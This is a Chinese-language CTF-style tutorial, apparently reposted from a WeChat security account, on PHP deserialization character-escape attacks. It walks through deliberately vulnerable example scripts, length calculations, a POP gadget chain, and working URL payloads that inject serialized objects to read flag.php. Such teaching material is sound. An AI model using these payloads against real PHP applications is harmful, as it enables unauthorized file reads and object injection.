详解PHP反序列化字符逃匿安全问题

admin 2025年3月18日19:55:09评论6 views字数 3387阅读11分17秒阅读模式

在反序列化前,对序列化后的字符串进行替换或者修改,使得字符串的长度发生了变化,通过构造特定的字符串,导致对象注入等恶意操作。
  • PHP反序列化特性

1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的。

2.在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度错误则反序列化就会失败

3.对类中不存在的属性也会进行反序列化

  • 逃匿类型


2.1 过滤后字符变多

例题
<?php
include 'flag.php';
function filter($string){
    return str_replace('x','yy',$string);
}
$username = $_GET['u'];
$password = "aaa";
$user = array($username, $password);
$s = serialize($user);
$r = filter($s);
echo $r;
$a= unserialize($r);
if($a[1]==='admin'){
    echo $flag;
}
highlight_file(__FILE__);
?>

此题中对序列化字符串中的x替换为yy,可能导致字符串长度增加。

当传入u=admin,序列化为

a:2:{i:0;s:5:"admin";i:1;s:3:"aaa";}

反序列化后满足不了$a[1]==='admin'条件

当传入u=xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";},此时替换序列化的结果为

a:2:a:2:{i:0;s:38:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:5:"admin";}";i:1;s:3:"aaa";}

此时yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy的长度刚好为38,不会报错,再加上后面的;i:1;s:5:”admin”;}成功反序列化,后面的就被忽略了。

详解PHP反序列化字符逃匿安全问题

x个数的计算

首先我们要确定需要添加的内容,也就是后面一串,即”;i:1;s:5:”admin”;},长度为19(设为m),满足以下式子(设有n个x字符,”;i:1;s:5:”admin”;}前面有y个非x字符):

n+y+m=2n+y // 原来字符串的长度 = 替换后去掉m的长度

解方程得n=19,即我们要有19个x,y随意,从等式可以看出抵消了


2.2 过滤后字符变少

示例代码
<?php
include 'flag.php';
function filter($string){
    return str_replace('sec','',$string);
}
$username = $_GET['u'];
$password = $_GET['p'];
$auth="guest";
$user = array($username, $password,$auth);
$s = serialize($user);
$r = filter($s);
echo $r;
$a= unserialize($r);
if($a[2]==='admin'){
    echo $flag;
}
highlight_file(__FILE__);
 
?>

要想得到flag,就要使得”;i:2;s:5:”admin”;},长度为19,经过观察序列化后”;i:1;s:这部分是不会改变的,因为整个payload肯定是不超过100个字符的,所以加上后面的长度”;i:1;s:xx:” 12个字符,这里存在着sec的替换,我们可以输入4sec替换为空格,刚好空出12个字符,可以将”;i:1;s:xx:”12个字符反序列化后在第一个元素值中,使得后面逃匿。

最后payload

u=secsecsecsec&p=";i:1;s:4:"eval";i:2;s:5:"admin";}

也可以多添加几个sec,假设为5个,此时空出15个字符,减去”;i:1;s:xx:”12个字符,还剩下3个,可以再输入三个字符填充。

u=secsecsecsecsec&p=123";i:1;s:4:"eval";i:2;s:5:"admin";}

  • 例题讲解

某赛题题目源码如下

<?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '', $data);
}
function read($data) {
    return str_replace('', chr(0) . '*' . chr(0), $data);
}
class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}
class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}
class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}
 
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$e = serialize($a);
$c = write($e);
echo $c;
echo "</br>";
$d = read($c);
echo $d;
echo "</br>";
$b = unserialize($d);
?>

反序列利用链接为

B __destruct() -> C __toString()

正常利用序列化链为

<?php
class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}
class B{
    public $b = 'gqy';
}
class C{
    public $c;
}
$c=new C;
$c->c='flag.php';
$b=new B;
$b->b=$c;
$ser=new A("test",$b);
echo serialize($ser);
?>
 

序列化结果

O:1:"A":2:{s:8:"username";s:4:"test";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

下面是我们实际上要添加的字符串

";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
这里write()中将'chr(0) . '*' . chr(0)'替换为 '',长度由3变成6,增加三个字符,read()中''替换为chr(0) . '*' . chr(0),长度由6变成3,减少3个字符。先write()操作后read(),这里只能用字符缩短的逃匿方法。
常序列化的字符串
O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";s:5:"admin";}
其中要利用username吃掉后面的";s:8:"password";s:xx:",为23个字符。
可以用6个,可以减少24个字符,多减少了一个字符,在实际上要添加的字符串可以在多填上一个字符即可。
此时payload为
?a=&b=a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

详解PHP反序列化字符逃匿安全问题

原文始发于微信公众号(SAINTSEC):详解PHP反序列化字符逃匿安全问题

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月18日19:55:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   详解PHP反序列化字符逃匿安全问题https://cn-sec.com/archives/3854125.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息